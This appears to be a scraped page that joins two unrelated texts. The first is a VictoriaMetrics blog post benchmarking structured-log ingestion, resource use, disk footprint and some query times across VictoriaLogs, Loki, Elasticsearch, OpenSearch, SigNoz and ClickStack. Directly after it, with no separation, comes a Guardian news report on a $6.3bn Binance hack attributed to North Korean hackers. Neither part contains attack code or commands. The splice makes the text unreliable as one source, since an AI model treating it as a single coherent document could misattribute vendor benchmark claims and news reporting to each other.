At VictoriaMetrics, we constantly benchmark our products. This helps us stay competitive and make every release better. As VictoriaLogs reaches more teams, more of them ask us which use cases it fits, and what they would gain by switching to it. So we publish our benchmark as a public repository that anyone can run to reproduce our results, and we will keep developing it in the open.

This is not a marketing post that tells you to switch to VictoriaLogs in every case. Instead, if you collect structured logs, from Kubernetes or anywhere else, it should help you choose the right tool, with the trade-offs that suit you.

Benchmarks that compare systems are always controversial, because each system is good at different use cases. This post only tests one case, ingesting structured logs, where every line has named fields, as many services on Kubernetes write them. Each system runs on one machine of the same size. Query performance, cluster mode and object storage will come in later posts.

Ingestion speed alone does not tell you which system to choose, so this post also looks into their internals:

  • Why does Loki ingest the most, yet take minutes for a simple dashboard query?
  • Why do SigNoz and ClickStack lag behind VictoriaLogs, though all 3 store logs in columns?
  • Why do Elasticsearch and OpenSearch need so much disk?

The answers help you plan hardware and costs, and avoid surprises as your logs grow.

The test and the setup

#

We test recent releases of 6 systems as of October 2026, with settings close to their defaults:

We changed a few settings so that each system can reach the limit of its design on one node, such as Loki’s ingestion limits. VictoriaLogs needed no changes, because it is designed to give its best performance out of the box ( docs ). The repository explains every change.

To keep the test simple, each system runs in single-node mode on its own Kubernetes node (n2d-standard-8 on GCP, with 8 vCPUs and 32 GB of RAM). SigNoz and ClickStack store logs in ClickHouse, which cannot receive logs from log shippers on its own. So each stack runs its own collector, built on the OpenTelemetry collector, on the same node as ClickHouse.

The test setup: one writer sends the same logs to 6 systems. The test setup: one writer sends the same logs to 6 systems.

We send the same logs to every system at the same time. The rate starts at 10k lines/s and goes up by 10k every 10 minutes, up to 180k lines/s. The maximum ingestion rate of a system is the highest rate it stored, averaged over a full 10-minute step. If a system crashes, we only count the steps before its first crash, since a crash is its limit.

How the maximum ingestion rate is read. How the maximum ingestion rate is read.

We count the lines that each system stored, not the ones it accepted. SigNoz and ClickStack, for example, answer as soon as their collector receives the lines, so a collector crash loses lines that were already accepted. Loki is the exception. It has no cheap way to count its stored lines, but it writes every line to its write-ahead log before it answers, so for Loki we count the accepted lines.

The ingestion rate is only half of the story. To show how it relates to query speed, we loaded VictoriaLogs, Elasticsearch and Loki with the same logs at 35k lines/s for 4 hours, and then timed a few common queries on them with cold caches. We will look at queries in depth in a later post.

The workload that each system receives

#

Logs can be anything from plain text to wide events with hundreds of fields. This test picks the middle, a structured log line with 30 to 40 fields, which is typical for Kubernetes. The app writes about 20 to 30 of these fields, and the log shipper adds about 10 more, such as the namespace, node and labels.

Picture a Kubernetes cluster of 125 nodes, where each node runs 40 pods of different apps. The logs of each pod form one log stream, so this cluster has 5,000 log streams. It is a mid-sized cluster, similar to many that we see among VictoriaLogs users.

One log line of the test, with its fields grouped by how often they change. One log line of the test, with its fields grouped by how often they change.

We want to see how far each system can go with its own design. So each system receives the logs in its preferred format. For example, Loki usually receives protobuf from Grafana Alloy. We do not send the same format, such as OTLP, to every system. If we did, we would also measure how well each system converts that format, not only how it stores logs.

In practice, logs often start as JSON on stdout. So a log shipper has to convert them, and this also costs CPU. If enough readers ask for it, we can also run the test with one common format, such as JSON or OTLP.

Results

#

We ran the main ingestion test 3 times, and the results below are the median of the 3 runs. The full tables are in the repository .

For SigNoz and ClickStack, the CPU and memory include the collector, ClickHouse and their helper services.

The few extra tests that we mention in this post, such as the queries, are one-off runs outside the repository.

Maximum ingestion rate (lines/s)

#

Maximum ingestion rate of each system. Maximum ingestion rate of each system.

  • Loki ingested the most, 139k lines/s.
  • VictoriaLogs came second, with 120k.
  • Elasticsearch, OpenSearch and ClickStack reached 28k to 48k.
  • SigNoz reached 10k lines/s and crashed at 20k.

One line is about 930 bytes of JSON, so 120k lines/s is about 106 MiB/s, or about 9 TiB of raw logs per day.

Each of these numbers comes with a trade-off in query speed, cost or the type of logs. We explain them in Why the results look this way .

CPU usage (cores)

#

Average CPU cores at each ingestion rate. Each line ends at the system’s maximum ingestion rate.

CPU usage at each ingestion rate. CPU usage at each ingestion rate.

  • At 10k lines/s, the only rate that every system handled, VictoriaLogs and Loki used 0.4 cores, ClickStack 0.9, Elasticsearch 1.0, OpenSearch 1.5 and SigNoz 4.2.
  • The gap grows with the rate. At 40k lines/s, VictoriaLogs and Loki used 1.6 cores, ClickStack 4.0 and Elasticsearch 5.2.
  • At 120k lines/s, Loki used 6.1 cores and VictoriaLogs 7.2.

CPU was the limit for most systems in this test.

Memory usage (GiB)

#

Peak memory at each ingestion rate, without the OS page cache. A line ends at the last rate that the system kept up with.

Memory usage at each ingestion rate. Memory usage at each ingestion rate.

  • VictoriaLogs used the least memory at every rate, 14x less than Loki at 40k lines/s.
  • Elasticsearch and OpenSearch used about 17 GiB whatever the rate, because they reserve a fixed heap at startup. By default, Elasticsearch sizes it at half of the machine’s memory ( source code ). OpenSearch does not size it automatically, so we gave it the same size.
  • ClickStack used 1.3 GiB at 10k lines/s and 2.2 GiB at 40k lines/s.
  • SigNoz used 3.1 GiB at 10k lines/s, its only point on the chart.

Memory decides how big, and how expensive, the machine must be, and how much is left for caching and queries.

Disk space

#

This chart shows how much disk each system needs for one million log lines. As a reference, one million lines take about 887 MiB as raw JSON. SigNoz is N/A because its collector kept crashing, so it stored too few lines, and its numbers changed too much between runs to compare.

Disk space for every million lines. Disk space for every million lines.

  • VictoriaLogs needed the least disk, followed by ClickStack and Loki .
  • Elasticsearch needed almost 5x more than VictoriaLogs, and OpenSearch 10x more.

Logs are often kept for weeks, so the disk space grows quickly. For example, 30 days of logs at 50k lines/s take about 7 TiB in VictoriaLogs, 12 TiB in Loki and 33 TiB in Elasticsearch.

Disk writes

#

This table shows how many bytes each system writes to disk for each line it stores. This is more than the final size on disk, because each system rewrites its data from time to time to keep it compact and fast to search. N/A means that the system could not keep up with that rate.

System 10k 20k 40k 80k 120k 150k
Loki (protobuf) 1,108 1,234 1,411 1,251 1,210 N/A
VictoriaLogs 323 284 226 223 163 N/A
Elasticsearch 1,393 1,815 1,917 N/A N/A N/A
OpenSearch 2,295 3,197 N/A N/A N/A N/A
SigNoz 1,420 N/A N/A N/A N/A N/A
ClickStack 414 461 572 N/A N/A N/A

VictoriaLogs also wrote the least to disk per line, and even less at higher rates, because it compresses better when it writes more lines at once. Loki wrote 3x to 7x more per line, depending on the rate.

This matters because every disk has a limit on how many bytes it can write per second, and faster disks cost more. In our test, we used 500 GiB pd-balanced disks on GCP, which can write up to 280 MiB/s, so no system reached that limit before it ran out of CPU. Still, VictoriaLogs lets you use cheaper disks, and on your own hardware, it wears out your SSDs much more slowly.

Why the results look this way

#

Loki

#

Loki’s high ingestion rate surprised us, but its design explains it. Loki is built to store a lot of logs and later read a few streams over a short time range. So it only indexes the stream labels (here, node and app), and stores each line as is. In contrast, VictoriaLogs splits every line into fields and stores each field separately, so queries are faster later. This costs about 18% more CPU than Loki at 120k lines/s.

How you send logs to Loki matters too. Grafana Alloy and Vector send protobuf by default, but Fluent Bit, Fluentd and Logstash send JSON. With JSON, Loki reached about 99k lines/s in a separate run, below VictoriaLogs, because handling JSON costs it much more CPU than protobuf. So if you run Loki, prefer Alloy or Vector.

Loki’s design has 3 costs. The first cost is memory. Loki keeps the newest lines of every stream in memory, so it can compress them together. This means its memory grows with the number of streams. You get more streams in a bigger cluster, or in any cluster during a deployment, since every new pod starts a new stream. To see how much memory this takes, we also ran the test with 10,000 and 15,000 streams.

Loki and VictoriaLogs with 5,000, 10,000 and 15,000 streams. Loki and VictoriaLogs with 5,000, 10,000 and 15,000 streams.

With 15,000 streams, Loki ran out of memory at 60k lines/s and was killed. VictoriaLogs needed only 0.2 GiB more with 3 times the streams. More memory means a bigger machine, and less memory left to cache data for queries.

The second cost is disk. Loki compresses the lines as plain text. It does not use the fields inside the lines to compress them better, as VictoriaLogs and ClickHouse do, so it needs 1.8x more disk than VictoriaLogs.

The third cost, which matters most, is query time. Loki can only narrow a query down by its labels. Anything else, a word or a field value, means decompressing and scanning every line of the matching streams. On the same logs, the queries from the setup took this long.

Question Time range VictoriaLogs (s) Loki (s)
Count the errors of one app 1 hour 0.06 3.5
Count the errors of every app 1 hour 0.59 171
Newest 100 lines with a common word 1 hour 2.5 32
p99 latency of every app 1 hour 1.9 302
Top 10 request paths 1 hour 8.8 refused, more than 500 series

These are everyday questions when you investigate an incident or build dashboards and alerts. Loki took half a minute or more on all of them except the first, or refused to answer. The first query reads only one app through its labels, and even that was almost 60x slower than in VictoriaLogs.

Loki is adding ways to search fields faster, such as bloom filters, but they are still experimental, off by default and not available on a single node, so we left them off.

These slow queries do not make Loki a poor choice for logs in general. It is built to keep logs cheap in object storage, and to scale out over many query workers when you need to run large queries. On our single machine, it took 171 seconds to count the errors of every app in one hour, using about half of the 8 cores. By a rough estimate, to answer in about 2 seconds, the same scan would need about 300 cores. So Loki suits you if you want to store a lot of logs cheaply in object storage, and either read only a small part of them or can pay for many cores to search them fast.

If that is more than you want to pay, and you still need dashboards and searches to answer in seconds, read on.

Elasticsearch and OpenSearch

#

OpenSearch is a fork of Elasticsearch, so this section mainly covers Elasticsearch and ends with how OpenSearch differs.

Loki indexes almost nothing and pays for it at query time. Elasticsearch does the opposite. It stores every line in 3 forms:

  • The original JSON of the line.
  • An inverted index , a dictionary that maps every word and value to the lines that contain it, so a search goes straight to the matching lines.
  • The fields again in columns (doc values), for sorting and aggregations.

How an inverted index finds a word. How an inverted index finds a word.

All this makes ingestion expensive. At 40k lines/s, Elasticsearch used 5.2 cores, against 1.6 for VictoriaLogs and Loki, and it ran out of CPU at about 48k lines/s. The limit was CPU, not disk. Elasticsearch writes every request to disk before it answers, but when we turned this off in a separate run, the rate stayed about the same.

Our test used LogsDB , Elasticsearch’s newer and more compact index mode for logs. But Elasticsearch still used 2.6x more disk than Loki and almost 5x more than VictoriaLogs.

In return, Elasticsearch is much faster at finding things than Loki. On the queries where Loki took minutes, Elasticsearch answered in seconds or less. Here is how it compares with VictoriaLogs on a few common kinds of queries.

Question Time range VictoriaLogs (s) Elasticsearch (s)
Count the lines that contain a common word 1 hour 6.5 0.10
Count the errors of every app 1 hour 0.59 0.46
p99 latency of every app 1 hour 1.9 3.9
Top 10 request paths 1 hour 8.8 14.7
Count the lines that contain a two-word phrase 1 hour 4.4 175

Elasticsearch finds a single word or value almost instantly, and it is also faster on simple counts, such as the errors of every app. A phrase, such as “connection timeout”, took it about 3 minutes.

To save disk, its default setup for logs does not store where each word sits in a line, so it has to reread the lines to see whether the two words are side by side. VictoriaLogs is faster there, and on percentiles and top values.

Elasticsearch is popular because it can search any field fast. The usual complaints are about 2 things.

  • Cost. Indexing every field takes a lot of CPU, memory and disk.
  • Operations. Running large clusters takes a lot of work.

Uber had both problems. Indexing was expensive, and Uber ran more than 20 clusters per region, so that one failed cluster would not break everything ( Uber ). Cloudflare had to sample some of its logs because storing all of them took hundreds of terabytes ( Cloudflare ). Both moved some of their largest log workloads to ClickHouse.

OpenSearch ingested a bit more than half as much as Elasticsearch (28k against 48k lines/s) and used about twice as much disk. It differs from Elasticsearch in 2 defaults.

  • It has no mode like LogsDB, so it compresses the original JSON of every line less tightly ( OpenSearch docs ) and does not sort it first.
  • It has no built-in template for logs, so it indexes most string fields twice, once by word and once as an exact value.

OpenSearch shares the same core as Elasticsearch, so you can likely close much of the gap with stronger compression, sorting and a full template for logs. We kept it close to its defaults on purpose, to show what you get out of the box.

Loki makes ingestion fast at the cost of query speed. Elasticsearch makes search fast at the cost of ingestion speed and storage. So what does VictoriaLogs offer?

VictoriaLogs

#

Today, many companies write structured logs, where every line has named fields, such as the log level, the HTTP status or the request duration. VictoriaLogs takes advantage of 2 properties of such logs, to make both ingestion and queries fast on them.

  1. Logs of the same stream look alike. They have almost the same fields, and many of them barely change. The namespace is the same in every line, and the log level takes only a few values. VictoriaLogs keeps the logs of each stream together and stores every field in its own column, which compresses much better than whole lines.
  2. Many queries need only a few fields. Counting the errors of every app, for example, needs only the app and the level. VictoriaLogs reads only the columns that a query needs.

How VictoriaLogs stores the lines of a stream. How VictoriaLogs stores the lines of a stream.

Storing logs this way already makes VictoriaLogs compact on disk and fast at aggregations, so it only builds light indexes and a little metadata at ingestion. This is why it ingested 120k lines/s, 2.5x more than Elasticsearch, while using 4.7x less disk. Only Loki ingested faster, as we saw above. For the details, see how VictoriaLogs stores your logs .

On the query side, VictoriaLogs answered every query within seconds, and it was faster than Loki on all of them. Against Elasticsearch, the results were mixed, and we will look closer in our post on queries. VictoriaLogs does not build a full inverted index, to keep ingestion and storage cheap. The trade-off is that searching for a common word, one that appears in many lines, is slower. A rare word, such as a user ID, is still fast to find, because its bloom filters let it skip the data that cannot contain that word.

VictoriaLogs also uses much less memory. At 40k lines/s, Loki used about 14x more (11.4 against 0.8 GiB), and at 120k lines/s about 5x more (12.8 against 2.5 GiB). This free memory is not wasted. The operating system uses it to cache data that was recently written or read, so many queries, especially over recent logs, read from memory instead of disk. It also leaves room for many queries at the same time, which we plan to test in a later post on queries.

To be fair, this benchmark uses structured logs, which play to the strengths of VictoriaLogs. Much of the daily work on such logs is also aggregation for dashboards, alerts and analysis, which is where columns help most. If your logs are unstructured, such as the plain-text logs of older applications and network devices, VictoriaLogs still ingests and searches them well, but you gain less than with structured logs.

SigNoz and ClickStack

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SigNoz and ClickStack surprised us more than Loki did. Both store logs in ClickHouse, a columnar database like VictoriaLogs, so we expected them to be close to VictoriaLogs. They were not. ClickStack reached 46k lines/s and SigNoz only 10k, against 120k for VictoriaLogs. In disk space, ClickStack came second, but it still needed 82 MiB per million lines, 1.5x more than VictoriaLogs.

The lower ingestion rate comes from the collector that both stacks need in front of ClickHouse. ClickHouse is a general-purpose database and cannot receive logs in their usual formats, so an OpenTelemetry collector has to turn them into rows first. That collector used more CPU than ClickHouse itself. In SigNoz at 10k lines/s, it used 2.7 cores against 1.5 for ClickHouse, and in ClickStack at its maximum rate, 3.3 against 2.2.

CPU of the collector and of ClickHouse in each stack. CPU of the collector and of ClickHouse in each stack.

The larger disk size likely comes from how both stacks store the fields. They store logs in a ClickHouse table with fixed columns, but the OpenTelemetry log format has a few fixed fields, plus attributes that can hold any custom data. The fixed fields, such as Timestamp, SeverityText and TraceId, get columns of their own, which compress well. The attributes go into a few Map columns, where the values of many fields are mixed together, so they compress less well and are slower to query.

VictoriaLogs is inspired by ClickHouse, but it is built only for logs ( FAQ ). It differs from ClickHouse in 2 ways that likely explain much of the gap in ingestion rate and disk space.

  • No collector. VictoriaLogs receives logs directly in the formats that log shippers already send, such as OpenTelemetry, Loki, Elasticsearch, Datadog and Splunk.
  • No schema. Every field of a line gets its own column, not only the few fixed fields.

In this test, SigNoz used almost 5x more CPU than ClickStack on the same design, mostly in its collector. The collector spends this CPU on extra metadata that speeds up queries and helps its UI, a trade-off that we will look at in our post on queries. It also ships without a memory limit, and we kept that default. So when it fell behind, it kept the lines in memory until Kubernetes killed it. Other users have reported similar crashes of the collector ( GitHub issue ).

To be fair, SigNoz and ClickStack are full observability stacks that bring logs, metrics and traces into one place and link each trace to its logs. This test measured only one part of them, log ingestion. Both stacks also recommend adding more collectors as the volume grows. ClickHouse’s docs size one collector at about 60k events/s for 3 cores ( ClickHouse docs ), and SigNoz’s own benchmark ran 3 collectors next to ClickHouse to reach about 55k lines/s on a 16-core machine ( SigNoz ). In our test, every system got one 8-core machine, to be fair to all of them, so the collector had to share it with ClickHouse. A cluster test, where each part can scale on its own, would show how much they gain from a larger fleet, and it is in our plans.

Key Takeaways

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Each system made a different trade-off, based on what it puts first and how it is built.

  • Loki ingested the most, because it indexes the least. It pays for this with slow queries, unless you pay for more cores to make them faster.
  • Elasticsearch and OpenSearch index every word of every line. This lets them find words and exact values very fast. But you pay for it with high CPU at ingestion and a lot of storage.
  • SigNoz and ClickStack store logs in ClickHouse. ClickHouse is not built only for logs, so both stacks need additional components, which slow down ingestion and add to the cost. They suit you if you want your OTLP logs, metrics and traces in one place.
  • VictoriaLogs is inspired by ClickHouse, but it is built directly for logs. It makes use of modern structured logs to ingest fast, answer queries within seconds and cost the least in memory and disk. You gain less if your logs are plain text.

This post tested structured logs on one machine with regular cloud disks. In later posts, we plan to cover queries in depth, cluster mode, and object storage once VictoriaLogs supports it .

You can reproduce the main ingestion results with our benchmark repository , and try VictoriaLogs with the quick start guide . If you find a mistake in our setup, or know how to tune one of the systems better, open an issue in the repository or reach out on VictoriaMetrics’ Slack .

North Korean group blamed for $6.3bn Binance hack in biggest ever crypto heist

Guardian
www.theguardian.com
2026-10-30 04:19:38
Cryptocurrency exchange scrambles to freeze affected, with about $3bn located so far The world’s largest cryptocurrency exchange has been hit by an industry-record $6.3bn (£4.6bn) hack, with experts identifying North Korea as the likely culprit. Binance has scrambled to freeze the affected assets, w...
Original Article

The world’s largest cryptocurrency exchange has been hit by an industry-record $6.3bn (£4.7bn) hack, with experts identifying North Korea as the likely culprit.

Binance has scrambled to freeze the affected assets, with about $3bn located so far. The company gave no update on the other $3.3bn as Binance’s co-founder Yi He said the company would cover “all hacking losses”.

Analysts attributed the attack to North Korean state-backed hackers. North Korea has a history of crypto hacking and was behind the theft of approximately $1.5bn in virtual assets from a Tokyo cryptocurrency exchange last year, according to the FBI, in what was the previous record crypto heist.

TRM, a crypto analysis firm, blamed the attack with “high confidence” on TraderTraitor, North Korea’s elite hacking unit. Chainalysis, another analysis outfit, also attributed the heist to TraderTraitor.

Binance did not explicitly confirm that funds had been stolen, although TRM and Chainalysis claimed more than $6bn had been taken. The company said its teams were “working around the clock” to resolve the problem.

An initial investigation suggested the breach may have started with a hacked laptop belonging to one of Binance’s engineers, which let an attacker gain access to one of its systems and ⁠make unauthorised withdrawals, Binance said.

Binance, which allows users to buy, sell and trade digital assets, has 335 million registered users globally and had about $162.8bn in assets under custody as of the exchange’s 2025 annual report.

Richard Teng, a co-chief executive of Binance, said: “Bottom line – your money is safe, and we’re covering every loss.”

The company said in a statement: “As a precaution, all deposits and withdrawals are temporarily suspended while our security teams conduct checks, secure wallet infrastructure and trace affected assets, with the close support of our law enforcement and industry partners.”

Markets reacted immediately in early Asian trading on Friday, and bitcoin – the most popular crypto asset by far – dropped more than 3% to a six-week low of $76,368. Shares in the crypto exchange Coinbase Global slid 4.8%, while those of the bitcoin buyer Strategy fell nearly 6% in extended US trading.

Binance was founded in 2017 by Changpeng Zhao, who in 2023 pleaded guilty to a felony in the US related to his failure to prevent money laundering on the platform and stepped down as CEO. Donald Trump pardoned him in 2025.

Zhao posted to X on Thursday: “User funds are safe!” but added that the incident “does look like a hack on Binance”. He added that while he did not manage Binance any more, “as a shareholder, I expect all user funds will be fully covered”.

If confirmed, the incident could be the world’s biggest crypto ​heist, according to Chainalysis and other industry experts. “It’s the biggest hack in history,” said Aravind ‌Srinivasan, the head of the large crypto market maker GSR’s systematic ‌OTC business.

Beyond the potential loss of assets, the security breach was likely to have wider ramifications for crypto, which had already been under pressure lately because of higher US interest rates and softer demand from ‌exchange-traded fund buyers, analysts said.

“It may further dampen risk appetite and prompt investors to reassess the safety of assets held on centralised exchanges, as well as counterparty, solvency and liquidity risks,” said Tim Sun, a senior researcher at HashKey Group, based in Hong Kong.

Binance runs a secure asset fund for users, which is a reserve held entirely in ‌bitcoin that is intended to protect user assets in cases of security breaches, according to its website.

Bernardo Brites, the CEO of Trace Finance, a payments and stablecoin infrastructure company, said: “It’s becoming very hard to counter hacks as AI can find vulnerabilities faster than you can fix them. My view is that users will move away from smaller ​and medium-sized exchanges, [as it is] becoming too risky to park your money somewhere that couldn’t cover a hack of meaningful size.”

The stablecoin issuer Tether said it had frozen nearly $1.57bn in assets linked to the incident, while Circle froze more than $800m.

World Liberty Financial, a crypto company linked to Trump and his family, said on Thursday it had worked with the cryptocurrency custodian BitGo to freeze funds stolen in what it described as a Binance hack.

Binance’s Yi said $27m in stablecoins and about $2m worth of World Liberty tokens had been frozen.

The incident adds to a string of crypto thefts. Last year attackers stole $2.9bn worth of cryptocurrency across nearly 150 attacks, according to researchers ​at TRM Labs. In September the cryptocurrency exchange Bitget ‌said roughly $350m in crypto had ​been stolen from its platform, underscoring the industry’s vulnerability ​to hackers.

Authorities have warned that organised crime groups are increasingly using cryptocurrencies to move funds across borders outside the traditional financial system.

Binance.US, a separate cryptocurrency exchange, said it was not affected by the security incident.

Coinbase said it was unaffected and was monitoring the situation.

In an unrelated incident earlier on Thursday, the prediction market operator Polymarket temporarily halted trading after a security incident involving a third-party provider. It later resumed trading and said it would fully reimburse affected traders.

With Reuters and the Associated Press